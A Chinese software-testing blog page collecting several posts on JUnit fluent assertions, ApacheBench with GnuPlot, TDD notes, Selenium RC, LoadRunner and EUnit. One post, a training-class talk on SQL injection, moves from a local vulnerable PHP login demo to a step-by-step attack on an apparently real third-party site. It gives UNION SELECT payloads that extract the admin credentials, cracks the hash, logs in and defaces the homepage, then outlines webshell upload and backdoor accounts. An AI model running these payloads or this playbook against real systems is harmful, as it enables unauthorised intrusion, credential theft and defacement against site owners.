qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

单元测试中的Fluent Interface

 测试的重要性是每个程序员都明白的, 但真正自己去做测试(Unit Test)的却很少, 曾经我也是其中的一员.
  因为写个main调用一些方法, 打印出结果或状态, 然后人工肉眼去排查, 若不是迫于无奈, 我相信没有程序员愿意纠结于这些琐碎的东西.
  其实, 测试本可以很有趣的.借助JUnit, 我们可以将测试按不同的场景组织起来, 在”一键”之后的红绿条的反馈下, 快速解决代码中存在的问题. 如果你还不太了解JUnit, 请先去这里. 后文将以JUnit为基础, 以Fluent Interface(这个在国内还比较时髦的术语)为切入点, 展示一下更有趣的测试.
  在解释什么是Fluent Interface之前, 请先看这样一段测试代码:
public class Calculator {
public int sum(int one, int other);
}
public class CalculatorTest {
private final Calculator calc = new Calcuator();
@Test public void 08 onePlusOne() {
assertEquals(2, calc.sum(1, 1));
}
}
  上述代码是基于JUnit4编写的, 用assertEquals来测试Calculator的sum方法对一加一计算的结果. 这种写法很简单, 但从语义上并不是那么流畅, 若换种写法, 如:
public class CalculatorTest {
[...]
@Test public void
assertThatOnePlusOneIsEqualToTwo() {
assertThat(calc.sum(1, 1)).isEqualTo(2);
}
}
  这样阅读起来是否感到更为清晰呢? 若是将语句中的符号换成空格:
  assert that calc sum 1 and 1 is equal to 2
  这几乎就是人类的自然语言了(囧, 尽管是e文).
  也许这个例子只是让大家看到易读性的优势, 那么再看看下面这个易编写的例子:
public interface Querier {
Collection<String> findNameBy(int age);
}
public class OrderQuerier {
private final Querier querier = [...]
@Test public void
findNamesWithAgeInThirty() {
Collection<String> names = querier.findNameBy(30);
assertEquals(2, names.size());
assertTrue(names.contains("allen"));
assertTrue(names.contains("john"));
}
@Test public void
findNamesWithAgeInThirty() {
Collection<String> names = querier.findNameBy(30);
assertThat(names).hasSize(2).contains("allen", "john");
}
}
  怎么样, 上面这个对比下, 后者是否能让你感到”清爽”呢?
  assertThat风格的assert正是应用了Fluent Interface, 使得测试的代码流畅易读, 编写简单.
  Fluent interface可以看作是借用了Method Chaining来实现的一种Internal DSL(Domain-Specific Language), 关于它这儿有更为全面的介绍.
  前面展示的assertThat仅是FEST-Assert提供一组API的很小一部分, 它还支持其它的:
  Primary Type
  Object
  Array
  Iterator
  Throwable
  File
  Map
  除了FEST-Assert, 其实还有另一个在JUnit测试中被广泛应用的”assertThat”——hamcrest, 它使用静态导入加工厂方法实现的Internal DSL, 同样很有趣的, 不妨look一下.

posted @ 2014-01-30 12:01 顺其自然EVO 阅读(287) | 评论 (0)编辑 收藏

pacheBench测试性能并使用GnuPlot绘制图表

 Apache Bench 是web性能测试工具,功能强大。但输出的结果只是数字形式,不容易看到数据的变化。因此,GnuPlot的强大绘制功能正好可以弥补Apache Bench这方面的不足。
  关于ApacheBench的安装与使用可以参考我之前写的《ubuntu中安装apache ab命令进行简单压力测试
  GnuPlot 下载地址:http://www.gnuplot.info/download.html
  GnuPlot 文档地址:http://www.gnuplot.info/documentation.html
  GnuPlot的安装:
tar zxvf gnuplot-4.6.4.tar.gz
cd gnuplot-4.6.4
./configure
sudo make && sudo make install
  GnuPlot的使用:
  首先,使用ApacheBench 测试性能,并将测试结果写入文件,我们分别对http://localhost/index.php 进行三次性能测试。
ab -n 500 -c 100 -g ./ab_500_100.dat http://localhost/index.php
ab -n 500 -c 200 -g ./ab_500_200.dat  http://localhost/index.php
ab -n 500 -c 300 -g ./ab_500_300.dat  http://localhost/index.php
  参数-g 表示将测试结果导出为一个gnuplot文件 ,三次测试的结果会保存在 ab_500_100.dat,ab_500_200.dat,ab_500_300.dat中。
  gnuplot文件内容格式如下:
starttime   seconds ctime   dtime   ttime   wait
Mon Jan 27 21:03:02 2014    1390827782  89  503 592 28
Mon Jan 27 21:03:02 2014    1390827782  84  591 676 24
Mon Jan 27 21:03:02 2014    1390827782  93  616 710 24
Mon Jan 27 21:03:02 2014    1390827782  94  628 722 28
Mon Jan 27 21:03:02 2014    1390827782  84  741 824 26
Mon Jan 27 21:03:02 2014    1390827782  84  741 825 26
Mon Jan 27 21:03:02 2014    1390827782  101 725 826 23
Mon Jan 27 21:03:02 2014    1390827782  124 707 831 80
Mon Jan 27 21:03:02 2014    1390827782  204 629 833 28
Mon Jan 27 21:03:02 2014    1390827782  95  741 836 26
Mon Jan 27 21:03:02 2014    1390827782  96  743 838 50
Mon Jan 27 21:03:02 2014    1390827782  96  744 840 40
Mon Jan 27 21:03:02 2014    1390827782  109 773 883 36
Mon Jan 27 21:03:02 2014    1390827782  109 774 883 37
Mon Jan 27 21:03:02 2014    1390827782  153 765 918 51
Mon Jan 27 21:03:02 2014    1390827782  141 778 919 76
Mon Jan 27 21:03:02 2014    1390827782  115 814 929 28
Mon Jan 27 21:03:02 2014    1390827782  103 831 934 23
Mon Jan 27 21:03:02 2014    1390827782  103 831 934 23
Mon Jan 27 21:03:02 2014    1390827782  108 831 939 36
Mon Jan 27 21:03:02 2014    1390827782  115 825 940 64
Mon Jan 27 21:03:02 2014    1390827782  162 783 945 87
Mon Jan 27 21:03:02 2014    1390827782  119 831 950 32
Mon Jan 27 21:03:02 2014    1390827782  108 844 952 15
Mon Jan 27 21:03:02 2014    1390827782  128 830 958 32
Mon Jan 27 21:03:02 2014    1390827782  128 831 958 35
Mon Jan 27 21:03:02 2014    1390827782  108 856 964 87
Mon Jan 27 21:03:02 2014    1390827782  123 843 967 15
  后面省略。。 然后,根据导出的gnuplot文件绘制图表,绘制脚本如下:
# 设定输出图片的格式
set terminal png
# 设定输出的图片文件名
set output "ab_500.png"
# 图表的标题
set title "ab_500 ab -n 500 -c 100,200,300"
# 设定图表的X轴和Y轴缩放比例(相当于调整图片的纵横比例,方形的不好看啊)
set size 1,0.7
# 设定以Y轴数据为基准绘制栅格(就是示例图表中的横向虚线)
set grid y
# X轴标题
set xlabel "request"
# Y轴标题
set ylabel "response time (ms)"
# 设定plot的数据文件,曲线风格和图例名称,以第九列数据ttime为基准数据绘图
plot "ab_500_100.dat" using 9 smooth sbezier with lines title "conc per 100","ab_500_200.dat" using 9 smooth sbezier with lines title "conc per 200","ab_500_300.dat" using 9 smooth sbezier with lines title "conc per 300"
  参数说明:
  set size 1,0.7 缩放比例,前面是X轴,后面是Y轴, (0, 1]的一个浮点数,1为原始值
  using 9 表示用哪一列数据绘图,数字是数据行按照空格或制表符分割的字段数字索引,从1开始
  smooth sbezier plot提供的一些数据填充算法以保证线条平滑度的,包含如下选项:smooth {unique | csplines | acsplines | bezier | sbezier},更详细解释请参考官方文档
  with lines title "xxx" 这个会再右上角生成一个图例,用于区分什么颜色的线条是哪一项数据
  生成的图表如下:

posted @ 2014-01-30 12:00 顺其自然EVO 阅读(380) | 评论 (0)编辑 收藏

测试驱动开发笔记(二)—xUnit

  1.  防止改完后引起新错误;再次运行单元测试
  2.. 如果单元测试涉及到可变信息(如当前时间),需要将待测试数据也变为可变,否则无法回归测试
  3. 使用测试驱动开发必须从头开始,严格进行,否则到半中间会很费事的。
  4. 测试驱动开发中,私有方法也要测试,可通过反射实现,如
Summer example = new Summer.newInstance();
Method m = example.getClass().getDeclaredMethod("methodone",new Class[]{String.class});
m.setAccessible(true);Object result = m.invoke(example ,new Object[] {“xxx”});
m.setAccessible(false);
if (result.equals(rightResult)){
  5.重构和修改,一次只带一顶帽子,要掌握自己的pace,不太快也不太慢
  6. 常用断言:相等,真,空,同一对象
  7.  Junit与ant结合,运行全部测试并将运行结果以文件形式输出
  JUnit中测试的组织
import junit.framework.TestCase;
public class CalculateUtilTest extends TestCase
{
public CalculateUtilTest(String name)    //1行
{
super(name);
}
}
1. import junit.framework.*;
2. public class MainTest
3. {
4.     public static Test suite()  //1行
5.     {
6.         TestSuite suite = new TestSuite();  //2行
7.
8.         //添加测试testDivision方法
9.         suite.addTest(new CalculateUtilTest("testDivision"));  //3行
10.
//添加测试类
suite.addTestSuite(CalculateUtil.class);
return suite;
14.     }
15.
16.     public static void main(String[] args)
17.     {
18.         //执行测试
19.         junit.textui.TestRunner.run(suite());   //4行
20.     }
21. }

posted @ 2014-01-30 11:57 顺其自然EVO 阅读(221) | 评论 (0)编辑 收藏

Web安全之SQL注入攻击

前言:①这个晨讲我构思了两个星期,但是之前电脑坏了,一直拖到昨天才开始着手准备,时间仓促,
  能力有限,不到之处请大家批评指正;
  ②我尽量将文中涉及的各种技术原理,专业术语讲的更加通俗易懂,但这个前提是诸位能看得懂
  基本的SQL语句(想想海璐姐你就懂了);
  ③本晨讲形式为PPT+个人演讲+实际演示,但因为TTS征文限制,少去了很多效果,深表遗憾;
  ④原创文章,达内首发。希望喜欢的同学,多多支持!如有疑问致信:chinanala@gmail.com
  =============以下是晨讲内容脚本,实战演练部分配以文字说明=============
  大家早上好!今天由我给大家带来《web安全之SQL注入篇》系列晨讲,首先对课程进行简单介绍,SQL注入篇一共分为三讲:
  第一讲:“纸上谈兵:我们需要在本地架设注入环境,构造注入语句,了解注入原理。”;
  第二讲:“实战演练:我们要在互联网上随机对网站进行友情检测,活学活用,举一反三”;
  第三讲:“扩展内容:挂马,提权,留门。此讲内容颇具危害性,不予演示。仅作概述”。
  这个主题涉及的东西还是比较多的,结合我们前期所学。主要是让大家切身体会一下,管中窥豹,起到知己知彼的作用。千里之堤溃于蚁穴,以后进入单位,从事相关程序开发,一定要谨小慎微。
  问:大家知道骇客们攻击网站主要有哪些手法?
  SQL注入,旁注,XSS跨站,COOKIE欺骗,DDOS,0day 漏洞,社会工程学 等等等等,只要有数据交互,就会存在被入侵风险!哪怕你把网线拔掉,物理隔绝,我还可以利用传感器捕捉电磁辐射信号转换成模拟图像。你把门锁上,我就爬窗户;你把窗户关上,我就翻院墙;你把院墙加高,我就挖地洞。。。道高一尺魔高一丈,我始终坚信计算机不存在绝对的安全,你攻我防,此消彼长,有时候,魔与道只在一念之间。
  下面,就让我们一起推开计算机中那另一扇不为人知的门---
  一、纸上谈兵
  (一)了解注入原理
  为什么会存在sql注入呢,只能说SQL出身不好。因为sql作为一种解释型语言,在运行时是由一个运行时组件解释语言代码并执行其中包含的指令的语言。基于这种执行方式,产生了一系列叫做代码注入(code injection)的漏洞 。它的数据其实是由程序员编写的代码和用户提交的数据共同组成的。程序员在web开发时,没有过滤敏感字符,绑定变量,导致攻击者可以通过sql灵活多变的语法,构造精心巧妙的语句,不择手段,达成目的,或者通过系统报错,返回对自己有用的信息。
  我们在学JDBC和SQL时,讲师跟我们说 Statement不能防止SQL注入, PreparedStatement能够防止SQL注入. 没错, 这句话是没有问题的, 但到底如何进行SQL注入?怎么直观的去了解SQL注入?这还是需要花一定的时间去实验的.预编译语句java.sql.PreparedStatement ,扩展自 Statement,不但具有 Statement 的所有能力而且具有更强大的功能。不同的是,PreparedStatement 是在创建语句对象的同时给出要执行的sql语句。这样,sql语句就会被系统进行预编译,执行的速度会有所增加,尤其是在执行大语句的时候,效果更加理想。而且PreparedStatement中绑定的sql语句是可以带参数的。
  (二)架设注入环境
  我们知道现在php作为一门网页编程语言真是风生水起,利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建网站环境,如腾讯的discuz、阿里的 phpwind 以及织梦的dedecms 等建站程序,占据了国内网站的半壁江山。那么我们今天即以这种架构为假象敌,首先是在本地架设wamp环境。需要用到的工具有:apache,mysql,php ,这几个组件可以单独下载安装,不过安装配置过程较为繁琐,还是建议新手直接从网上下载phpnow ,一个绿色程序,包含上述三个组件,傻瓜化操作就可以了。
  然后呢,我们要建立测试用的数据表,编写html,php,文件,通过实例具体来演示通过SQL注入,登入后台管理员界面。这里,我之前已经写好了,大家看下:
  1.创建一张试验用的数据表:
CREATE TABLE users (
id int(11) NOT NULL AUTO_INCREMENT,
username varchar(64) NOT NULL,
password varchar(64) NOT NULL,
email varchar(64) NOT NULL,
PRIMARY KEY (id),
UNIQUE KEY username (username)
);
  添加一条记录用于测试:
  INSERT INTO users (username,password,email)
  VALUES('tarena',md5('admin'),'tarena@admin.com');

 2.接下来,贴上登录界面的源代码:
<html>
<head>
<title>Sql注入演示</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body >
<form action="validate.php" method="post">
<fieldset >
<legend>Sql注入演示</legend>
<table>
<tr>
<td>用户名:</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>密&nbsp;&nbsp;码:</td>
<td><input type="text" name="password"></td>
</tr>
<tr>
<td><input type="submit" value="提交"></td>
<td><input type="reset" value="重置"></td>
</tr>
</table>
</fieldset>
</form>
</body>
</html>
  当用户点击提交按钮的时候,将会把表单数据提交给validate.php页面,validate.php页面用来判断用户输入的用户名和密码有没有都符合要求(这一步至关重要,也往往是SQL漏洞所在)。
  3.验证模块代码如下:
<html>
<head>
<title>登录验证</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<?php
$conn=@mysql_connect("localhost",'root','') or die("数据库连接失败!");;
mysql_select_db("injection",$conn) or die("您要选择的数据库不存在");
$name=$_POST['username'];
$pwd=$_POST['password'];
$sql="select * from users where username='$name' and password='$pwd'";
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
if(is_array($arr)){
header("Location:manager.php");
}else{
echo "您的用户名或密码输入有误,<a href=\"Login.php\">请重新登录!</a>";
}
?>
</body>
</html>
  注意到了没有,我们直接将用户提交过来的数据(用户名和密码)直接拿去执行,并没有实现进行特殊字符过滤,待会你们将明白,这是致命的。
  代码分析:如果,用户名和密码都匹配成功的话,将跳转到管理员操作界面(manager.php),不成功,则给出友好提示信息。
  (三)演示注入手法
  到这里,前期工作已经做好了,我们看这个登录界面,虽说是简陋了点。但具有一般登录认证的功能。普通人看这个不过是一个登录界面,但从攻击者角度来说,透过现象看本质,我们应当意识到隐藏在这个登录页面背后的是一条select 语句---
  OK! 接下来将展开我们的重头戏:SQL注入
  填好正确的用户名(tarena)和密码(admin)后,点击提交,将会返回给我们“欢迎管理员”的界面。
  因为根据我们提交的用户名和密码被合成到SQL查询语句当中之后是这样的:
  select * from users where username='tarena' and password=md5('admin')
  很明显,用户名和密码都和我们之前给出的一样,肯定能够成功登陆。但是,如果我们输入一个错误的用户名或密码呢?很明显,肯定登入不了吧。恩,正常情况下是如此,但是对于有SQL注入漏洞的网站来说,只要构造个特殊的“字符串”,照样能够成功登录。
  比如:在用户名输入框中输入:’or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:
  select * from users where username='' or 1=1#' and password=md5('')
  语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:
  select * from users where username='' or 1=1#' and password=md5('')
  等价于
  select * from users where username='' or 1=1
  因为1=1永远都是成立的,即where子句总是为真,将该sql进一步简化之后,等价如下select语句:
  select * from users
  没错,该sql语句的作用是检索users表中的所有字段
  果不其然,我们利用万能语句(’or 1=1#)能够登录!看到了吧,一个经构造后的sql语句竟有如此可怕的破坏力,相信你看到这后,开始对sql注入有了一个理性的认识了吧~
二、实战演练
  OK,前面铺垫了那么多,算是给大家科普了。现在我们进行第二讲,实战演练。开始之前呢,有一个互动环节。现在请大家用自己的手机登录 http://www.guoshang.tk  这个网址,简单看下。待会等我们注入攻击之后,再次登录,好对比效果,对于sql注入攻击有一个更加直观的认识。
  (一)积极备战
  1。首先设置浏览器,工具--internet选项--安全--找到“显示友好的http信息”,把前面的勾去掉;
  2。打开谷歌,寻找注入点。为了节省时间,这里我已经事先找好目标点
  http://www.guoshang.tk;
  谷歌搜索小技巧:筛选关键字:"inurl:/news/read.php?id="
  (二)狼烟四起
  1。我们打开这个网址,一个新闻网站,,我们点击[百家争鸣]板块,这是一个国内外新闻速览的栏目,好多时政的帖子,我们点击一个,OK,现在进入单个帖子界面,首先我们看下当前帖子的URL地址,
  http://www.guoshang.tk/news/read.php?id=50
  可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。
  2。判断是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。这两句什么意思呢? 一个恒等式,一个恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 时帖子返回出错,说明sql语句被执行,程序没有对敏感字符进行过滤。现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问
  http://www.guoshang.tk/news/read.php?id=50
  时数据库中执行的SQL语句大概是这样的:
  Select * from [表名] where id=50
  添加and 1=1后的SQL语句:
  Select * from [表名] where id=50 and 1=1
  由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的
  添加and 1=2后的SQL语句:
  Select * from [表名] where id=50 and 1=2
  由于条件1=2永远为假,所以返回的页面和正常页面不一致
  3。爆数据库。确定注入点仅仅意味着开始。现在,我们回到原先的帖子地址:
  http://www.guoshang.tk/news/read.php?id=50
  现在要判断数据库类型以及版本,构造语句如下:
  http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51
  发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0
  以下版本或者其他类型数据库。
  4。爆字段。接着我们再构造如下语句来猜表中字段:
  a. http://www.guoshang.tk/news/read.php?id=50 order by 10
  返回错误页面,说明字段小于10
  b. http://www.guoshang.tk/news/read.php?id=50 order by 5
  返回正常页面,说明字段介于5和10之间
  c. http://www.guoshang.tk/news/read.php?id=50 order by 7
  返回错误页面,说明字段大于5小于7,可以判断字段数是6.下面我们再来确认一下
  d. http://www.guoshang.tk/news/read.php?id=50 order by 6
  返回正常页面,说明字段确实是6这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。
  5。爆表.确定字段之后现在我们要构造联合查询语句(union select ),语句如下:
  http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
  我们来看帖子页面,原先内容没有了,取而代之的是返回给了我们 三个数字,分别是3,5,6 我们随便选择一个,这里的3,5,6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字,比如版本,数据库名称,主要是用来探测web系统的信息。
  6。爆用户名、密码。我们选择3 吧,OK,现在把3给替换掉,先查询下数据库库名,构造语句如下
  http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                                  1,2,database(),4,5,6
  浏览器给我们返回了 xinwen  。说明这个网站 的数据库库名是 xinwen  .
  现在我们用同样的手法查询下 管理员信息 ,构造语句如下:
  http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                                  1,2,user(),4,5,6
  返回 root@localhost ,是个管理员权限。
  现在我们再用同样的手法查询用户名,密码,构造语句如下:
  http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select
  1,2,username,4,5,6 from admin
  返回 admin
  http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                             1,2,password,4,5,6 from admin
  返回 B2E5B76793EDA747382E81391AA3A400
  7。md5解密。看到这里,有的同学可能会有点紧张。其实返回的这个是字符串密码经过32位md5加密后的值。上次李翊大帝给我们复习的时候 讲过加密与解密。也稍稍提到了md5 摘要算法,不可逆。话虽如此,现在互联网上crack md5 “解密”md5 的网站很多,这里我给解密加了引号,是因为其“解密”原理是 md5 值既然不能进行 逆向破解,但是同样的字符串经过同样的md5加密算法所生成的md5值是一样的,我们可以重新构造字符串生成md5值,然后对比两个值,如果一样则字符串一样。有人说,这种方法岂不是海底捞针,试到猴年马月去啊,其实不然,互联网云时代已经到来,大数据的信息挖掘以及分布式运算可以解决很多类似大运算量的问题。我们现在就要来对这个md5值进行比对,有好多网站提供这种服务,我们找一个。(http://www.md5.com.cn ) 这个网址,我们把这个值复制进去,然后点击“MD5 CRACK“,“解密”时间,视密码复杂度而定,OK,结果出来,(chinaadmin)
  8。登录后台。现在我们已经拿到网站的管理员帐号密码,感谢上帝,一路顺风,但还不能高兴得太早。很多情况是你虽然拿到了钥匙,但是找不到门。下面我们就来找一下门,找之前要有个基本思路:
  ①先试下几个比较常用的目录;
  ②不行的话,因为这个论坛程序是dedecms5.6 ,所以我们就到 织梦官方,下载一套同样程序,           分析网站管理路径,或者直接百度“dedecms默认管理界面”即可,下载步骤可省略;
  ③手工不通,借力工具。明小子,啊D,御剑,都可以。
  9。这里我们发现此网站依然采用程序默认管理路径:
  http://www.guoshang.tk/dede
  输入用户名 admin ,密码 chinaadmin 成功登入。
  接下来,我们找到【核心】--【附件管理】--【文件式管理器】--这时我们可以看到网站根目录下所有目录以及文件,下标栏还有几个功能选项,我们可以看到网站首页文件【index.html】,点击【修改】,进入网页源代码编辑模式,删除所有源码(这招有点毒,劝告别改人家的源码,建议新建一个文件),留个言,表示到此一游。
  卑鄙是卑鄙者的通行证,高尚是高尚者的墓志铭----- 北岛
  现在是见证奇迹的时刻!请大家再次登录这个网站,有没有把你和你的小伙伴们惊呆呢?!
  至此,战斗结束。若干年的免费住宿,一日三餐在向你招手。。。
  三、扩展部分
  鉴于此讲内容危害性较大,不予演示。只简述其流程。
  (一)webshell提权
  二讲结束,我们仅仅取得网站管理员权限,操作范围仅限当前网站。革命尚未成功,同志仍需努力。若想深入挖掘,则必须寻求更大突破。获得网站webshell .
  ①准备一个php网马。(网上泛滥成灾,自己下载。但要注重分辨,小心螳螂捕蝉黄雀在后);
  ②登录网站后台--【核心】--【附件管理】--【文件式管理器】--选择下标栏中的【文件上传
  选项,上传我们实现准备的php网马文件(tarena.php);
  ③上传完毕,点击预览,记录下url地址。新建浏览器窗口,复制粘贴,打开之后,可以看到我们的网马成功挂载,输入密码tarena(密码可以自行用记事本打开修改编辑);
  ④进入网马管理界面,你会被那华丽丽的操作选项惊呆了!(取决网马水平,小马就别谈了,这里指的是大马)。从程序目录-网站根目录-各种强大的功能,乃至直接操作服务器磁盘文件,获取各种系统信息,跃马扬鞭,如入无人之境。其破坏力之大,令人咂舌!所以拜托各位亲,一定要盗亦有道,手下留情,除了靠法律监管,也要靠个人道德约束。
  (二)暗修栈道
  浴血奋战、攻城拔寨之后,怎样保卫来之不易的胜利果实?政治治大国若烹小鲜,入侵则烹小鲜如治大国。为长远计,我们需要建立一种长期和肉鸡保持联系的机制。而且还要很隐蔽,毕竟这是见不得光的。留后门的方法诸多:
  ①开启telnet服务
  建立匿名账户,添加至超级管理员组;
  ②开启远程终端服务;
  ③自制木马触发事件...
  因系统平台而异,这里不再赘言。
  后注:①可能有读者会觉得此文很假,的确,鉴于篇幅问题,文中目标站点是我事先踩点过的,所以才
  会一路凯歌,事实上很少会有站点会如此理想,但万变不离其宗,只是时间问题罢了。
  ②文中所述演示环境建立在同时满足两个条件下:
  1.php配置文件中魔术引号已关闭;
  2.建站程序中没有对用户输入字符进行过滤。

posted @ 2014-01-30 11:55 顺其自然EVO 阅读(1231) | 评论 (1)编辑 收藏

Selenium RC在Eclipse中的使用

  1、下载Selenium Server和Selenium Client(JAVA语言的)http://docs.seleniumhq.org/download/
  2、在Eclipse中新建java project
  3、Build Path-->Add External Archives, 将Selenium Server和Selenium Client都添加到项目中
  4、新建class
import com.thoughtworks.selenium.*;
import java.util.regex.Pattern;
public class testCase extends SeleneseTestCase {
public void setUp() throws Exception {
setUp("http://www.google.com/", "*firefox");
}
public void testNew() throws Exception {
selenium.open("/");
selenium.type("q", "selenium rc");
selenium.click("btnG");
selenium.waitForPageToLoad("30000");
}}
  5、Run As JUnit Test
  在学习中的遇到的一些问题:
  1、按照网上的一些方法做的时候,运行的时候报错:java.lang.RuntimeException: Could not start Selenium session: Failed to start new browser。。。。
  找了很久网上的解答办法是:报如上错误,原因是加入了老版本的selenium jar包,更新到最新版的即可解决。
  然后重新下载了最新版的jar包,就成功了。
  2、在添加了新的jar包后运行上面的程序,还是报错了:com.thoughtworks.selenium.SeleniumException: Timed out after 30000ms
at com.thoughtworks.selenium.HttpCommandProcessor.throwAssertionFailureExceptionOrError(HttpCommandProcessor.java:109)
at com.thoughtworks.selenium.HttpCommandProcessor.doCommand(HttpCommandProcessor.java:103)
at com.thoughtworks.selenium.DefaultSelenium.waitForPageToLoad(DefaultSelenium.java:678)
at testCase.testNew(testCase.java:11)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at junit.framework.TestCase.runTest(TestCase.java:176)
at junit.framework.TestCase.runBare(TestCase.java:141)
at com.thoughtworks.selenium.SeleneseTestCase.runBare(SeleneseTestCase.java:248)
at junit.framework.TestResult$1.protect(TestResult.java:122)
at junit.framework.TestResult.runProtected(TestResult.java:142)
at junit.framework.TestResult.run(TestResult.java:125)
at junit.framework.TestCase.run(TestCase.java:129)
at junit.framework.TestSuite.runTest(TestSuite.java:255)
at junit.framework.TestSuite.run(TestSuite.java:250)
at org.junit.internal.runners.JUnit38ClassRunner.run(JUnit38ClassRunner.java:84)
at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:38)
at org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:38)
at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:460)
at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:673)
at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:386)
at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:196)
  网上说可能是这个方法的问题,因为把这句代码删了后就运行正常了

posted @ 2014-01-30 11:50 顺其自然EVO 阅读(1467) | 评论 (0)编辑 收藏

Loadrunner不能调用IE解决方法大全

  在使用loadrunner进行性能调试时,录制脚本的时候,发现loadrunner不能调用IE、不能自动启动IE,还有一种情况是可以启动,但是录制不到内容,action的内容为空。
  一般遇到这种情况,总结了下,总共有以下几种问题及解决方法。
  1、 系统安装了多个浏览器;
  问题描述:当系统安装了多个浏览器时,默认的浏览器不是IE浏览器,这样就导致loadrunner打开的默认浏览器不是IE,自然不能调用IE并录制内容。
  解决方法:设置IE浏览器为默认的浏览器,重启loadrunner即可进行录制。
  2、 版本支持的问题
  问题描述:
  大家都知道,loadrunner8.1 及其以下的版本,只支持老古董IE6版本;loadrunner9.X的版本,只支持IE7和IE6两个版本,而loadrunner11,才能完全的兼容支持IE8,如果你使用的是IE9的话,那抱歉了,loadrunner就不能录制IE脚本了。
  解决方法:
  1) 根据自己的IE 版本选择合适的loadrunner版本;
  2) 如果loadrunner只有当前一个版本的话,那就选择你当前loadrunner支持的IE版本进行测试;安装低版本的IE。
  3、 Loadrunner的设置问题
  问题描述:
  在loadrunner进行录制时,loadrunner设置的浏览器程序路径地址不对,找不到浏览器程序而导致loadrunner不能调用IE。
  解决方法:
  Loadrunner中的record option的设置正确的browser的IE的路径,或者重新指向一下。
  4、 IE插件问题
  问题描述:
  浏览器禁用第三方插件,导致loadrunner的IE插件不能正常工作,不能监控IE,打开IE
  解决方法:
  启用第三方浏览器扩展:IE?工具?Internet选项?高级,把“启动第三方浏览器扩展”前面的勾去掉,再确定。
  5、 注册表问题
  问题描述:
  安装其他软件时,导致loadrunner的注册表信息被修改,loadrunner系统的注册表信息异常,loadrunner不能找到IE的路径,不能打开IE,自然不能调用IE并录制
  解决方法:
  1、重新注册loadrunner信息即可,在lr的安装目录(C:\Program Files\HP\Loadrunner\bin下,单击register_vugen.bat文件
  6、 录制目标网站默认端口问题
  问题描述:
  IE录制的网站端口为80之外的端口
  解决方法:
  修改默认端口:
  *打开regedit
  *在HKEY_CURRENT_USER\Software\Mercury Interactive\Astra Application\Recording下边添加类型为Proxy Port的DWORD
  *赋值为你想要的端口号
  7、操作系统的问题
  问题描述:
  有些操作系统,会对IE进行一些保护,如windows 2003会对IE的数据进行保护,导致loadrunner不能调用IE,录制脚本
  解决方法:
  解除系统对IE的保护即可:
  操作如下:“我的电脑” ? “系统属性” ? “高级”选项卡? “性能”里面,点击“设置” ? “性能”,切换到“数据执行保护”?选择“除所选之外,为所有的程序和服务启用数据执行保护”,添加IE执行文件,确定。
  8、其他问题
  被测试系统在本机上,访问地址为:http://127.0.0.1:port/程序名称,需要将URL改为:
  http://localhost:port/程序名称,这样就可以调用脚本了。

posted @ 2014-01-30 11:49 顺其自然EVO 阅读(12329) | 评论 (0)编辑 收藏

使用EUnit进行单元测试

为了写一个好的产品,必定离不开完善的测试
  最近开始筹划项目,因此单元测试必不可少,一定要在开始的时候把测试做好,从下到上才能让产品更加坚固。
  我们选择使用EUnit进行单元测试。使用Eunit的好处:减少代码的修改;提高开发速度;有利于接口与实现分离;有利于系统集成;还有测试本身可以作为一种文档。
  1,首次从http://support.process-one.net/doc/display/CONTRIBS/EUnit 获取对应的SVN checkout路径,http://svn.process-one.net/contribs/trunk/eunit,通过svn进行下载。
  2,将整个eunit目录放到你的erlang安装目录下的lib目录中。也可以使用通过code:add_path/1或者其他编译选项指明eunit的路径,但是不是很方便。
  3,在你的module中添加: -include_lib("eunit/include/eunit.hrl"). 这样就引入了eunit的头文件,此时你的module具有了下面的特性:自动的将以"_test"结尾的函数作为测试函数;为你的module添加并导出了test/0函数;为你提供了丰富的test macro。(自动导出test函数,是通过compile指示符的parse_transform选项进行处理)
  此时,我们的module已经具有了eunit赋予的一切权利。注意你从svn下载的代码,没有进行编译,你需要进行编译生成beam文件。由于本人是在windows下工作,编译不是很方便,所以我就直接从这里下载了eunit的beam文件,放到eunit/ebin/目录下。
  在我们要测试的module中我们加入一个函数:
  basic_test() ->
  assert(1 == 1).
  好了,编译module,随后运行M:test(),进行单元测试,我们会看到
  Test successful.
  的提示。测试ok。
